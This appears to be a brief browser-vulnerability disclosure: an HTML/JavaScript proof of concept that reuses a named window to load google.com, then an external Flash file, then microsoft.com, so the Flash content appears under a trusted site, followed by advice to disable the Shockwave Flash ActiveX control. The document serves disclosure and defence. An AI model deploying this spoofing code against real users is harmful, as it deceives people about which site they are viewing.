########### LukesTest2.htm ###########
<a href="javascript:spoof()">Perform the second Test</a><br>
<script>
  function  makewin(url) {
    win   = window.open (url, "new");
  }
  function spoof() {
    makewin('http://www.google.com/');
    setTimeout("makewin('http://one.fsphost.com/dangquang/musicflash1/bupbebietyeu.swf')",2000);
    setTimeout("makewin('http://www.microsoft.com/')",4000);    
  }  
</script>

The SWF will be displayed when it is loaded fully as well as my first sample code.

SOLUTION: 
Disable Shockwave-Flash ActiveX Control
